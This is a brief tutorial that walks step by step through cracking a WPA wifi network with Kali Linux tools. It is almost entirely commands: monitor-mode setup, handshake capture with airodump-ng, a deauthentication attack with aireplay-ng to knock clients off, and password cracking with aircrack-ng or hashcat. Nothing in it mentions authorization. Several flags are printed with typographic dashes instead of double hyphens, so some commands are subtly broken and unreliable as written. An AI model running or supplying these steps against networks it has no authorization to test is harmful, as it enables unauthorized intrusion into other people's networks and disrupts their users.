How to hack a wifi network using kali linux

Here’s a short and useful tutorial on how to hack wifi networks using kali.

Prepare wifi adapter:

airmon-ng check kill

ip link set wlan0 down

iw dev wlan0 set type monitor

Show available networks:

airodump-ng wlan0

or dump all to a file:

airodump-ng wlan0 –write allNetworks

Monitor a single access point:

airodump-ng –bssid <mac address> -c <channel> –write <target filename> wlan0
or
airodump-ng –essid <network name> wlan0 (this alternative shows when it catches an ack)

Next, wait for the airodump to grab an ack or force disconnections on target:

aireplay-ng –deauth 100 -a <target mac> wlan0
or
aireplay-ng –0 2 –a [bssid of access point] –c [bssid of client] wlan0

Now we have several files written by the above commands. Lets crack them using aircrack or hashcat:

aircrack-ng *.cap -w /usr/share/wordlists/rockyou.txt
or
aircrack-ng -a2 -b <target mac> -w /usr/share/wordlists/rockyou.txt *.cap
or
hashcat -m 2500 -a 3 hashfile.hccapx ?d?d?d?d?d?d?d?d